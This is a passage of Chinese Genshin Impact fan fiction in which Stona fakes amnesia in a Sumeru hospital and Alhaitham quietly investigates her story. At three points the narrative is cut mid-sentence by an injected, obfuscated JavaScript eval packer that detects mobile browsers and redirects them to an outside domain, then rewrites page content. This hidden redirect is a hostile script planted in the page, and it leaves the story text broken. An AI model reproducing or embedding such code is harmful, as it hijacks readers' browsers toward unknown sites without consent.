“可以把照片拿来让我看一下吗?”斯托娜说。 为了让对方同意这个要求,她还不忘多加一条有说服力的理由:“兴许我看了照片之后就能想起来自己是谁了。” 艾尔海森再次相信了她,连斯托娜都觉得不可思议,她竟然这么容易就骗过了艾尔海森。 但管它的呢,她都倒霉这么久了,兴许是终于要转运了。 斯托娜看着艾尔海森离开病房,然后等了五分钟左右,她掀开被子,抓起桌上的神之眼就要走。 她的左腿骨折,行动不便,环视整个病房,斯托娜没发现拐杖,但她在门后找到了一把雨伞。 斯托娜把雨伞当做拐杖,半跑半跳着离开了病房。 接下来跑去哪里呢?给父母的信就先不写了,须弥绝对不能久留,先想办法去璃月吧。 不,不是一定要去璃月,只要能离开须弥,去哪里都可以! 去码头好了!在码头找一艘即将离岸的船,上了船,先离开须弥再说。 就这么办! 斯托娜撑着雨伞一瘸一拐地走在路上,迎面遇到一个须弥打扮的人,这个人皱着眉,嘴里念叨着“什么海来着?他到底叫什么名字……” “请问码头怎么走?”斯托娜问他。 “码头吗?在西南方向,不需要沿着路走,只要一直往西南方向走就能找到。” “谢谢!” 斯托娜转身就走,但这个人忽然“咦”了一声,问:“你看起来也好熟悉,我以前见过你吗?” “没有吧?我不记得你,”斯托娜连对方的脸都没看清就断言道,今天被艾尔海森认出来就够倒霉的了,她可不想再遇到什么熟人,“我是大众脸,谁看我都眼熟。” 扔下这句话后,斯托娜蹦蹦跳跳往西南方向走去。 须弥的路都是弯弯曲曲的,一条路不拐十几二十几个弯都不能算是路,所以指路的时候直接指名方向是效率最高的办法,不要看路,而是看方向。 斯托娜往西南方向走去,尽可能走直线节省时间。 几分钟后,她如愿以偿看到了码头。 码头上停了几艘船,其中有一艘船已经放下了舷梯,乘客们正在上船。 天助我也! 斯托娜撑着雨伞排到了队伍末端,并且语气随意地从排在前面的人口中打听到这艘船要开往枫丹。 枫丹好啊,既不是须弥,也不是蒙德,那里一个认识她的人都没有,是非常完美的躲藏地点! 斯托娜还没高兴多久,就过于激动,不小心把雨伞卡在了木板缝隙里。 这么一点小困难还不至于击垮她,如果实在没办法把雨伞从木板缝隙里解救出来,大不了这伞就不要了,她就算单脚跳也要跳上船。 ——但姑且还是解救一下雨伞吧。 斯托娜双手握住伞柄,把雨伞往自己的方向拽。 但雨伞似乎被木板底部的螺丝勾住了,她试着拽了几下,没能把雨伞拽出来。 因为左腿打了石膏,“下蹲”这个动作做起来很不方便,斯托娜担心就算能成功蹲下去,靠自己一个人也很难站起来。 看来只能放弃雨伞了。 斯托娜正打算弃伞逃跑,这时身后一个声音响起:“需要帮忙吗?” “谢谢,可以请你帮我——” 斯托娜回过头,笑容僵在脸上。 “大概是木板底部的螺丝勾住了雨伞。”艾尔海森说着从斯托娜手中接过雨伞,蹲下身去,把雨伞从木板缝隙里解救了出来。 斯托娜目瞪口呆地看着对方,目瞪口呆地从对方手中接过被解救出来的雨伞。 “谢、谢谢。” “不客气,”艾尔海森说,“顺便问一句,你要去哪里?” 这个问题问得并不突兀,斯托娜也已经猜到对方会问这个问题,可是她还没想好该怎样回答。 她紧急开动脑筋想理由。 还真让她想到一个。 “我……不知道为什么,我觉得这里很危险,必须尽快离开。” 艾尔海森皱眉:“危险?你是担心有人在追杀你吗?” 斯托娜点点头,反正都失忆了,她怎么狡辩都行。 “你放心,这里是安全的,只要你不乱跑,就算真的有人想杀你也办不到。”艾尔海森说。 “你……这么厉害的吗?” “不,我只是个普通的教令院职工。不过如果你认为有必要的话,我可以雇佣镀金旅团的人来保护你。” 然后,艾尔海森开始认真给她解释镀金旅团是个什么性质的组织。 “不,”斯托娜打断了他的话,“我想没有这个必要。刚才我很害怕,所以才逃跑。现在想想,这里这么多人,就算有人想追杀我,应该也不会在这里动手。” 艾尔海森点点头,把他回家取来的照片递给她:“这张照片是十几年前拍摄的,之所以会穿着同样的制服是因为当时是夏令营,我们穿的是夏令营的统一服装。虽然照片年代久远,但相信你能看得出来照片上的人和你我之间的相似之处。” 照片上,十岁的斯托娜面对镜头笑得十分灿烂,十岁的艾尔海森面对镜头,脸上的表情也勉强没有太冷,而且照片上的两个孩子是牵着手的。 这样的照片斯托娜也有一张,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118075|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是当年从须弥前往蒙德的路上,他们家遗失了一箱行李,那张照片就在那箱行李里面。 看着这张保存良好的老照片,斯托娜的脸微微升温。 “另外,”艾尔海森一副公事公办的语气,又拿出一沓信件递给她,“这些是你写给我的信,我作为补充材料——”他顿了顿,然后换了个词,“作为补充的证据一起带来了,你可以看一下。” 斯托娜接过信,这些信件也都保存得很好,甚至几乎看不出岁月的痕迹。 这些信他竟然都保存着,还以为他早就生她的气,把信都丢掉了呢。 就算不拆开看,斯托娜也知道这些信都是出自她手,但她现在是假装失忆,所以她还是象征性地拆了两封信看了一眼。 “现在你应该可以相信我了吧?”艾尔海森说,“如果这些作为证据依旧没有足够的说服力的话,我可以把其他认识你的人找来,让他们为我作证。” “不用了!我相信你。” 艾尔海森点点头:“好。回医院吧。” 陈述句,以句号结尾,不是商量,没有回旋余地。 “……好。” 斯托娜拒绝了艾尔海森搀扶她的好意,执意撑着从木板缝隙里解救出来的雨伞,一瘸一拐地往医院走去。 刚离开码头,迎面就遇到了刚才给她指路的那个人。 “啊!太好了,你们都在!”此人指着斯托娜和艾尔海森,情绪之激动就像发现了两片一模一样的雪花,“我就说我见过你们,我的记忆没有出错!你是斯托娜没错吧?还有你是……什么海来着……差一点点就能想起来了……” 这个家伙还真是阴魂不散啊。 虽然斯托娜对这个人是谁已经一点印象都没有了,但看样子,这个人倒是还记得她和艾尔海森。 而且,从这个人的话来判断,她好像不是今天唯一一个和他偶遇的人。 艾尔海森今天也遇到过这个人吗? 斯托娜转头看向艾尔海森,后者的神情没有什么变化。 “哎呀,怎么就是想不起来呢……”这个人似乎终于放弃回忆艾尔海森的名字,他尴尬地笑了笑,“不过我记得很清楚,小时候因为看你整天都在读书,所以和其他人一样叫你书呆子来着。” 艾尔海森面无表情地看着他:“如果你说完了的话,我们就先失陪了。” 但对方显然还没有说完,他仍然一副对他们很感兴趣的样子:“说起来,你们两个的关系还这么好啊。我记得小时候只有斯托娜愿意和你一起玩,也只有她不会叫你书呆子——” 斯托娜生气了。 “书呆子是什么好词吗?你到底还要重复多少遍?用这么怀旧的语气说起小时候的事,你是想说以前那么叫他只是没有恶意的玩笑吗?那么抱歉,我们没有时间听你回忆往昔。” 斯托娜故意把雨伞的尖端往这个人站的地方用力一戳,对方为了躲避伞尖,往后跳了一步。 “再见。”斯托娜收回伞,挽起艾尔海森的手臂,拉着他走了。 回医院的路上,艾尔海森很沉默,沉默到让斯托娜有点心虚。 她忍了一会儿,最后还是忍不住问:“怎么了?” “没什么。” 斯托娜看了他一眼:“如果你认为我刚才做得太过分——” “不,我不这么认为,”艾尔海森说,“虽然我不在乎别人对我的看法,也不在乎别人对我的称呼,但刚才的事,我应该向你道谢,谢谢你维护我的名誉。” 5. 第 5 章 艾尔海森早就对别人的看法毫不在意。 但人不是一下子就成熟的,即使是他也曾经有不成熟的时候。 虽然较之其他人,他不成熟的时期很短,但也不是没有。 在还没有彻底不在乎其他人的看法的阶段,被别人叫作“书呆子”,他也会心情低落。 那个时候就是斯托娜站出来维护他的。 直到后来艾尔海森自己已经对“书呆子”和其他侮辱性的称呼完全免疫,但她仍然不允许其他人这样称呼他。 虽然其他人不会因为斯托娜反对就放弃称呼艾尔海森为“书呆子”,艾尔海森也是真的已经不在意别人怎么称呼自己,但斯托娜的行为本身仍然具有其意义。 “谢谢你维护我的名誉。”他向斯托娜道谢。 对方摆摆手说这不算什么。根据她的表情来判断,她是真的不觉得刚才的维护是什么大事,而且她显然还在因为刚才那个人而生气。 一瞬间,艾尔海森感觉自己就像是回到了小时候,斯托娜因为其他人称呼他为书呆子而生气,他则因为斯托娜生气而安慰她。 斯托娜即使失忆了,也还是做出了和小时候一样的事。 ——虽然感觉对方不是真的失忆。 对于“斯托娜不是真的失忆”这个结论,艾尔海森已经有了几个模糊的论点来证明,比如轻微脑震荡导致的失忆一般来说不会持续这么久,也不会这么彻底。 而且刚才斯托娜趁他回家取照片的时候逃走这一行为也很奇怪,她看起来不像是害怕被人追杀,倒像是在躲他。 但这些证据都没有充分的说服力,所以艾尔海森没有把它们说出来,而是决定再观察一段时间。 只是,斯托娜为什么要说谎呢? 如果她是担心他还在因为近些年她冷淡的态度而生她的气的话——以她目前的受伤状况,应该不会有多余的精力担心这种小事才对。 “那个,可以问你一个问题吗?”斯托娜忽然开口说道。 艾尔海森把思绪收回,点点头:“什么问题?” “你是怎么知道我在港口的?应该不是刚才那个家伙告诉你的吧?” “不是。看得出来你对须弥城并不熟悉,所以如果你要躲起来的话,离开医院之后,你应该不会冒着迷路的风险在城内躲藏,而是会选择直接从港口乘船离开。” 艾尔海森推开医院的门,让斯托娜先进,然后接着说道:“另外,你的腿受伤了,行动不便,如果不乘船的话,你短时间内无法离开须弥城。所以我首先去港口找你,如果你不在码头,就是还在城内没有离开。” “所以你并不确定我是不是在港口,只是在综合考虑之后认为港口是应该最先排查的地点?”斯托娜说。 “没错。不过我的运气不错,刚到港口就看到你穿着医院的病号服,企图把雨伞从木板缝隙里拽出来。” 但如果晚到十分钟的话,说不定你真的已经上船离开了——这句话艾尔海森没有说出口。 重新躺回病床上,斯托娜盯着天花板,好像在刻意避免和他有眼神接触。 艾尔海森清清嗓子:“你写给我的信上说,你马上就要结婚了。” 斯托娜睁大眼睛:“真的吗?什么时候?” “信上没说。” 艾尔海森观察着斯托娜的反应,觉得对方的语气有点浮夸,看起来不像是真的惊讶。 而且,一个失忆的人在被告知“你快结婚了”的时候,问出的第一个问题竟然不是“和谁结婚”,而是“什么时候”,也有点古怪。 艾尔海森决定继续试探:“你十岁那年跟随父母去了蒙德生活,这里是须弥,你最好给他们写封信报平安。” 斯托娜点点头:“我会写的,谢谢提醒。” “不客气。这些年来你寄给我的信上写的都是同一个地址,应该就是你父母的地址,所以信写好之后我可以帮你寄给他们。” “不用!我自己寄就好,就不麻烦你了。” 斯托娜在听到他说要帮忙给家里寄信之后,神情明显变得慌乱。对于一个失忆的人而言,她的行为当然十分古怪。 对于与家里取得联系存在抵触反应,难道是离家出走? “不知道你的未婚夫是不是和你一起从蒙德离开的,”艾尔海森又说,“如果你们是一起外出,那么他现在很可能有危险。” 斯托娜叹了口气:“希望他也没事。” 艾尔海森注意到斯托娜的眼神有些躲闪,而且直到现在,她都没有向他询问她的未婚夫是谁,显然斯托娜是在刻意回避与未婚夫有关的话题。 经过简单的推测,艾尔海森得出了两个结论——斯托娜多半是一个人从家里跑出来的,她离家出走的原因极有可能是逃婚。 斯托娜揉揉眼睛:“我有点累了,可以稍微休息一会儿吗?” 她昏迷了近一天的时间,刚刚苏醒不到两个小时,一般情况下这么快就感到累…… 不过她受了伤,情绪波动也比较大,大概是真的累了,也可能是担心言多必失,所以以“休息”为由拒绝回答他的其他问题。 不管怎样—— “好。我还有些工作要忙,晚些时候再来看你。”艾尔海森站起身。 他离开病房后本想拜托医护人员,如果斯托娜再次离开的话就阻止她,但医院不是监狱,医护人员也没有权力阻止病人强行出院。 如果斯托娜是真的失忆,那么她刚才离开医院的行为还可以解释为是她不信任他,所以才逃跑,但是如果她并没有失忆,就一定还记得他是谁。 假设斯托娜没有失忆的话,他离开医院之后,她很可能再次逃跑。 保险起见,艾尔海森选择去聚砂厅找了自己熟识的三十人团成员,向对方描述了斯托娜的特征,雇佣他在医院外面蹲守,如果斯托娜企图离开医院,就阻止她。 安排完这件事之后,艾尔海森并没有像他说的那样去教令院忙工作,而是离开须弥城去了道成林。 斯托娜的裙子上满是污泥,还有水草和苔藓等残留,尽管艾尔海森不是研究苔藓和泥土的专家,也推测得出斯托娜在来到须弥城之前一定经过了一片潮湿的雨林。 距离须弥城较近的雨林,并且是比较频繁发生抢劫事件的雨林,最有可能的就是道成林了。 道成林距离须弥城较近,而且经由道成林东侧的通道可以前往璃月。 璃月和须弥商人往返两个国家经常走这条路,所以这片区域的抢劫案件频发,路上埋伏劫匪的可能性最大。 换句话说,斯托娜很可能是在道成林遭到了抢劫。 道成林独特的地理位置和良好的生态环境共同导致了化城郭巡林员忙碌的生活,艾尔海森到达化城郭的时候,柯莱正和其他巡林员抬着一位误食了毒蘑菇的冒险家踏入化城郭。 简单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118076|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 询问柯莱后,艾尔海森得知,提纳里一如既往地在雨林中忙碌,天黑之前恐怕不会回来。 柯莱忙着安顿中毒的冒险家,艾尔海森退到一边静静等待。他拿起放在桌上的蘑菇。 虽然他不是辨认毒蘑菇的专家,但仅从外观来判断,这个蘑菇十有八九是有毒的。 “等他醒来之后把这个喂给他。”柯莱把一瓶药剂交到其他巡林员手里,一转头看到艾尔海森手里拿着毒蘑菇,急忙说:“等一下,那个蘑菇有毒,不能吃!” 艾尔海森把蘑菇放下:“我知道这个蘑菇有毒。” “不好意思,因为经常遇到误食毒蘑菇的冒险家,习惯这样说了。” “没关系。这是最近雨林里出现比较多的蘑菇吗?”艾尔海森问。 “嗯,这个季节雨林经常下雨,雨后会长出很多这种蘑菇。” “吃了这种蘑菇的人会失忆吗?” 柯莱想了想:“有可能,不同的人对毒素的反应不同,我记得之前有冒险家在误食了这种蘑菇后出现了短暂失忆的现象,不过几个小时后就恢复了。” 几个小时…… 如果斯托娜是误食了这种蘑菇导致失忆的话,她现在应该已经恢复了。 另外,医生的诊断报告里也没有发现她体内有毒素,所以“吃毒蘑菇导致失忆”的可能基本可以排除。 告别柯莱之后,艾尔海森在雨林里寻找其他线索。 道成林经常下雨,就算有脚印之类的痕迹也都被雨水冲刷干净了,所以对于能否找到线索,艾尔海森并没抱太大希望,只是顺便调查。 斯托娜左腿受伤,行动不便,在雨林中行走时一定会走相对平坦的路线,绕开较为陡峭崎岖的山路,所以艾尔海森也只选择平坦的区域走。 他的运气不错,大约找了一小时之后,他在一处树枝上发现了布料碎片,布料上的花纹与斯托娜裙子上的花纹很相似。 发现了布料碎片之后,艾尔海森沿着路走了半小时左右,发现了一处山洞。 在这个山洞里有生火的痕迹,最重要的是,他在地面上发现了一处不太明显的痕迹,看起来似乎是神之眼的压痕。 这里很可能就是斯托娜曾经用来避雨的山洞。 山洞内部除了一些有人停留的痕迹以外没有其他线索,艾尔海森又在山洞外检查了一番,最终在距离山洞不远的地方发现了几个半露在地面上的蘑菇。 蘑菇的根部都被处理过,显然是有人故意把蘑菇埋进土里的,但在雨水的冲刷下,被埋起来的蘑菇露出了地面。 为了不让别人误食毒蘑菇而把蘑菇埋掉,这很像是斯托娜会做的事。 艾尔海森本想沿着路往靠近道成林东侧的区域继续调查,但如果斯托娜真的遇到了劫匪,从山洞里的情形来看,她遇到劫匪也已经是好几天以前的事情,现在再去追查一定查不到什么东西,雨水冲刷之后更是连劫匪的足迹都不会留下。 而且天色开始变暗,他需要赶回须弥城区。 艾尔海森默默记忆了山洞的位置,打算之后再返回这里继续调查。 回到医院的时候,在医院外蹲守的镀金旅团成员说,斯托娜没有离开医院。 艾尔海森检查了自己的衣服和鞋子,确定上面没有沾上道成林的污泥,也没有苔藓等会暴露他去过野外的东西。 检查完毕之后,他推开医院的大门,往斯托娜所在的病房走去。 6. 第 6 章 躺在病床上,斯托娜非常纠结。 艾尔海森就这么走了,他看上去好像对她十分放心,不认为她会再次逃跑。 但根据她对艾尔海森的了解,艾尔海森那么聪明,兴许是已经看出她的破绽,但故意没有表现出来,而是先寻找更多证据,直到找到让她无法否定的证据后,再和她摊牌。 虽然只是隐约的直觉,但斯托娜总感觉自己马上就要被艾尔海森看穿了。 那么,还要逃跑吗? 她垂下眼睛看了一眼打着石膏的腿。 伤成这个样子能跑去哪里啊,一把伞就足以把她困住了。 而且她已经被艾尔海森发现了一次,如果想再次逃跑的话,须弥城肯定是不安全了,她必须立刻跑出城去,也就是故技重施,乘船逃走。 但万一这次逃跑的时候又被艾尔海森抓到…… 上一次逃跑姑且还能说自己是失忆后不信任他,但艾尔海森已经给她看了他们的合照和她亲笔写给他的信,就算她真的失忆,在看到这些证据后也该相信他了。 简单来说,她没有逃跑的借口了。 而且,兴许艾尔海森根本没有去工作,而是就在医院门口等她再次逃跑呢? 不逃跑的话,大概还能再瞒对方一阵子,但现在逃跑的话,立刻就会露馅。 斯托娜思来想去,决定还是先不跑了。 反正父母和未婚夫都不知道她在须弥城,先在这里把伤养好再说。 身无分文,还得尽快找份工作才可以。 须弥虽然是智慧的国度,身份地位与学识和才能挂钩,但想要在须弥生活,要求却并不苛刻,做不成学者的话,从事其他行业的工作也不会饿死。 况且,须弥连医疗服务都是免费的,住院期间不需要支付任何费用,即使她没钱也不会被医院给赶出去。 斯托娜喜欢须弥,如果可以的话,她很愿意在这里度过一生。 她喜欢须弥的气候,喜欢这里香料的味道,喜欢那些炎热到什么事情也做不了、只能躺在树荫下睡午觉的长长的白天。 在须弥的时候,她才会有那种全身毛孔都打开的感觉,整个自然和她都是一体的,她的呼吸与周围的植物是相通的。 她甚至喜欢那种炎热到空气都凝固的感觉,就好像世界变成了一个巨大的琥珀,她只是琥珀里的一只小昆虫,她不需要去思考其他事情,只要待在这份金黄色的永恒里就好。 斯托娜在还没有离开须弥的时候就知道自己喜欢须弥了,而在被迫离开须弥之后,她对须弥的喜爱更是变本加厉,与须弥的被迫分离也就让她十分痛苦。 所以当初搬家的时候她哭得很惨。她不想离开,她想留下来。 她恳求父母让她留下来,他们不需要留下来陪她,她自己留下来就可以,不会影响他们的工作。 但是不行,父母的工作需要去蒙德,准确来说,她的父母其实是蒙德人,在须弥的这几年才是出于工作需要暂时停留,现在在须弥的工作结束了,是时候回家去了。 对于斯托娜的父母来说,他们的家在蒙德;但对于斯托娜来说,须弥才是她的家。 可是没有办法。父母要搬家,小孩子又有什么办法呢。 十岁的斯托娜想尽了各种办法想要留下来,但是每一个办法都遭到了父母的否决,决定就是决定,她无权更改,只能离开。 离开与到达总是密不可分的,离开须弥后,斯托娜到了蒙德。 斯托娜不喜欢蒙德。 她不喜欢蒙德不仅仅是因为蒙德不是须弥(虽然这的确是她不喜欢蒙德的原因之一),还因为蒙德的风太大了。斯托娜不喜欢风,大风总是吹得她心慌。 刚到蒙德不久,父母就像要甩掉她这个累赘一样把她打包送去了寄宿学校,斯托娜从来没有想过原来“学校”与“地狱”能有那么多的共同点。 在寄宿学校的那些年里,她的生活是黑色的,比她坏掉的神之眼的颜色还要黑,简直暗无天日。 每天的时间都被排得那么满,每天都有那么多讨厌的课、讨厌的活动,她连坐下来安安静静写封信的时间都没有。 而且学校里不许寄信,也不许收信,斯托娜只能拜托家里的女仆把艾尔海森寄到家里的信带去学校给她,她再把写给艾尔海森的回信交给女仆,再由女仆回家之后把信寄送出去。 这样复杂且低效的寄信、收信流程自然导致她总是很晚才收到艾尔海森写来的信,而当她好不容易挤时间写好的回信被女仆从家中寄出、漂洋过海终于送到艾尔海森手中的时候,几个月的时间已经过去了。 斯托娜几乎绝望了。明明在离开之前是她信誓旦旦地说会经常写信给对方,但首先违背这个约定的就是她。 所以就让这份她已经无力维持的友谊渐渐淡化吧,没有希望也就不会失望,用措辞冷淡的回信暗示她的态度,艾尔海森那么聪明,一定立刻就会明白的。 她本来以为他们过不了多久就会彻底断绝往来,但该说是奇迹还是对方过于礼貌了呢?虽然他们通信的频率越来越低,但通信的关系却勉强维系了下来。 虽然常常要隔大半年才能收到来自须弥的一封口吻平淡的信,但收到信的时候是斯托娜一年之中为数不多快乐的时候。 她会把艾尔海森寄来的信连续看上好多遍,直到信上的文字被烙印在脑海中再也忘不掉。 然后她会把自己的情绪压制到最低,用最克制的语言写一封简短到一个字也不能删减的回信,尽管她真正想写的、想装在信封里寄去须弥的是比一本书还要厚的回信。 但她只能负担得起一封简洁到无礼的回信,她所处的环境、她的状态都只允许她交出这样一封她无比讨厌的回信。 斯托娜本来打算把告知艾尔海森她要结婚的消息的信作为自己寄给艾尔海森的最后一封信,寄出这封信后,她就要狠下心来,按照父母所期待的那样嫁给那个她连面都没正式见过的未婚夫,然后迎接让她一辈子都感到心慌的灰暗的蒙德的风,彻底抛弃对于金色琥珀般的须弥生活的期待。 ——原本她真的是这样打算的,直到她的神之眼变成了黑色。 神之眼,传说只有当凡人的愿望过于强烈的时候,神明才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118077|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会向凡人投下视线。 斯托娜很早就得到了神之眼,而且她当时甚至没有什么强烈的愿望,她只是个喜欢须弥的小孩,就在某个和其他每一天一样快乐的日子,她得到了神之眼。 但在她把寄给艾尔海森的最后一封信寄出的时候,神之眼变成了黑色。 斯托娜把这作为某种预兆,某种她必须做出改变的预兆。 可是多年的妥协与压迫让她的本性懦弱不堪,即使她想要变得勇敢,也无法迅速获得足够的勇气。 所以她仰仗了“神明”这一说辞。 “这是神明的旨意”。这个信念最终让她鼓起勇气踏出了家门。 逃跑,这个被她推迟多年的计划终于成功进行,她在感到恐惧与愧疚的同时又是那么的自由,那一天,连蒙德的风都变得不那么令她讨厌。 只是她没想到“逃跑”这个计划会发展成现在这个样子。 其实逃跑的时候斯托娜根本没有计划太多,她完全没想以后会怎样,只是很高兴终于可以跑掉了。 谁想到竟然阴差阳错来了须弥,又偏偏在须弥遇到了艾尔海森…… 斯托娜向着天花板伸出手。 虽然须弥不是她原计划的目的地,但是也许…… 病房的门忽然被敲了三下。 斯托娜收回手,有那么一瞬间,她以为是父母或未婚夫来找她了。 但随即她意识到就算他们真的来了,也不会像现在这样礼貌敲门。 “请进。” 艾尔海森推开门走了进来。 “最近积压的工作必须在今天完成,所以来得有些晚了,抱歉。” “其实你不来看我也没关系的,我正打算出门吃晚饭,顺便在附近找一份工作。” “工作?” “嗯。虽然我现在还是什么也想不起来,但总不能就这么一直在医院躺着。” 今天早些时候的逃跑尝试已经证明她即使左腿上打了石膏也仍然可以胜任日常生活中的绝大多数活动,整天躺着什么也不做可不是她的作风。 既然短期之内不离开这里,那就尽快开始赚钱好了,以后要去璃月的话,没有路费可不行啊。 “我的建议是你最好再卧床休息几天,不过按照你的性格,你应该不会采纳,”艾尔海森说着向她伸出手,“所以——” “看来你的确很了解我。不过我可以自己走,有雨伞就足够了。” 斯托娜的视线落到放在角落的黑色雨伞上,微笑着拒绝了对方的好意。 艾尔海森被拒绝后神情也没什么变化,他自然地收回手,但没有帮斯托娜把雨伞递过来:“雨伞恐怕并不能作为拐杖的替代品。我在回来的路上向医护人员申请了拐杖,应该马上就能送到。” 话音刚落,病房的门再次被敲响。 艾尔海森打开门,与站在门口的医护人员短暂交谈了几句,一副崭新的拐杖就从医护人员手中转移到了艾尔海森手上。 艾尔海森打量着拐杖,评价道:“拐杖的高度需要调节,过来试试吧,如果不习惯的话,还可以申请轮椅。” 7. 第 7 章 斯托娜果断拒绝了艾尔海森申请轮椅的提议,说:“不需要那么麻烦,用拐杖就足够了。” 使用轮椅比拐杖更加方便,艾尔海森推测对方只是不想让他帮忙推轮椅才选择使用拐杖,不过出于对斯托娜性格的了解,他并没有出言反驳。 “你住在须弥城,对这附近的餐馆一定很熟悉吧?”斯托娜在医院走廊熟悉了一下拐杖的用法,对艾尔海森说道,“毕竟你平时应该不会自己做饭?” 的确,他对烹饪不感兴趣,平时最接近“做饭”这一行为的,恐怕就是研磨咖啡豆和煮咖啡了。 “那么,有什么推荐吗?虽然还没有恢复记忆,但是我感觉自己对于食物并不特别挑剔,去你喜欢的餐馆就可以。” “跟我来吧。” 在艾尔海森记忆里,小时候的斯托娜对于食物的确不怎么挑剔,她只是不喜欢太甜的东西,但像米圆塔那样的甜度还是可以接受的,尤其是在饿了的时候。 相比之下,他对食物的要求要更高一点,汤汤水水一类的食物无法得到他的青睐,因为在读书的时候吃这种食物会很不方便。 在餐馆里,斯托娜看着菜单开始点菜。 唐杜尔烤鸡,兰巴德鱼卷和雨林沙拉,这些都是餐馆里比较常见的料理,到目前为止,艾尔海森对斯托娜点的食物都没有意见,直到…… “这个枣椰蜜糖看起来很好吃!”斯托娜几乎是两眼放光地从菜单上抬起头来寻求艾尔海森的认可,“啊……你不喜欢吗?” “不,谈不上不喜欢,只是没想到你会感兴趣,”艾尔海森如实相告,“我记得你不喜欢甜食。” “是吗?原来我不喜欢甜食啊。”斯托娜看着菜单,有些犹豫。 “已经过了这么多年,口味发生变化也不是没有可能。” 小时候不喜欢吃的东西长大后却忽然能接受了,这种事常见到几乎每个人都经历过。 不过艾尔海森还是有所怀疑,以为斯托娜是为了向他证明她真的失忆了,所以故意点了她不喜欢的食物。 但枣椰蜜糖上桌之后,斯托娜吃得很开心,看起来不像是在勉强自己吃下去的样子。 大概真的如他所说,对方只是随着年龄的增长,对于食物的喜好发生了改变吧。 又或许是她的身体比较虚弱,所以需要更多糖分? 艾尔海森默默记下现在的斯托娜与小时候的斯托娜的不同。 十几年没有见面的人此时此刻就坐在自己对面,这是毫无争议的事实,但同时又显得那么不真实,简直像个梦。 坐在对面的斯托娜又发出一声包含情感的“嗯”,说:“这个也好好吃!好久都没有……感觉好久都没有吃过这么好吃的东西了!” 斯托娜对兰巴德鱼卷给出了极高的评价,同时艾尔海森装作没听到她差点说漏嘴的事。 对方果然没有失忆。 毕竟失忆的人怎么会记得自己有多久没吃过兰巴德鱼卷了呢? 只有没失忆并且很久没有回须弥的人,才会发出这样的感慨。 但艾尔海森什么都没有说,他只是在斯托娜因为吃太快差点噎到的时候,把什锦果汁往她的方向推了推。 “等我找到工作之后就会把钱还给你的,我可以给你写一张欠条。” 艾尔海森付完账单之后,斯托娜一脸认真地说道。 “不必了,我相信你。走吧。” “我还不想回医院,”斯托娜拿起拐杖,“我想在城里四处转转,尽早找一份工作。” 如果她还想离开须弥的话,今天下午就会有所行动了,不需要等到现在。所以艾尔海森推测,对方应该是真的想找工作。 “我建议你不需要这么着急,如果你担心的是账单的问题的话——” “不是的,其实我是想找点事情做,免得躺在病床上胡思乱想。”斯托娜冲他笑了笑。 艾尔海森想问她在医院的时候都“胡思乱想”了些什么,以至于她即使拄着拐杖也要找工作。 但他认为斯托娜不会回答这个问题,所以他没有开口询问。 “好。我和你一起找吧,须弥城对于初来乍到的人而言比较容易迷路。” 斯托娜看起来不希望他跟着:“啊……这不太好吧,太麻烦你了。” “我们是朋友,‘朋友’这种关系的特征之一就是可以互相麻烦,所以你不需要有这样的顾虑。” 斯托娜点点头:“好吧,谢谢你。” 在须弥城内想要找到一份工作,这本身没有多大难度,但斯托娜因为左腿骨折,行动不便,所以跑腿的工作和需要久站的工作暂时都不在考虑范围内。 ——至少艾尔海森是这样想的,但斯托娜起初不赞同,她认为自己可以胜任久站的工作,至于需要跑腿的工作嘛。 “我对自己的速度还是很自信的。”斯托用拐杖敲了敲地面,似乎是想借此表达她已经熟练掌握了拐杖的使用方法。 “根据早些时候你逃跑时动作的敏捷程度来判断,的确如此,”艾尔海森说,“但安全起见,还是找不需要长距离跋涉的工作为好。” 他们在须弥城中找了不短的时间,最终在一处玩具摊位找到了兼职,每天的工作时间只有上午或下午的四个小时,工作内容是售卖兰那罗木雕。 兰那罗是须弥传说中的生物,听说只有小孩子才能看到兰那罗。 艾尔海森,大概是成熟得太早吧,他即使是在小时候也没见过兰那罗这种生物,成年后就更不可能见到了。 不过他在看到这个玩具摊位的时候想的不是自己没见过兰那罗的事,他正忙着观察斯托娜的反应。 斯托娜在看到兰那罗木雕的时候,脸上出现了明显的惊讶神情。当听摊主介绍说只有小孩子才能看到兰那罗的时候,她似乎更惊讶了。 这倒也没有什么奇怪的。 艾尔海森记得很清楚,小时候的斯托娜从来没有跟他提起过兰那罗的事。 这也不奇怪,因为兰那罗并不是特别有名的传说生物,即使是须弥本地人也有很多人不知道关于兰那罗的传说,所以木雕摊位的摊主才会没有询问就假定他和斯托娜都不知道兰那罗是什么,自然而然地开始为他们进行讲解。 如果小时候的斯托娜曾经见过兰那罗的话,艾尔海森认为,她一定会把这个消息告诉他。 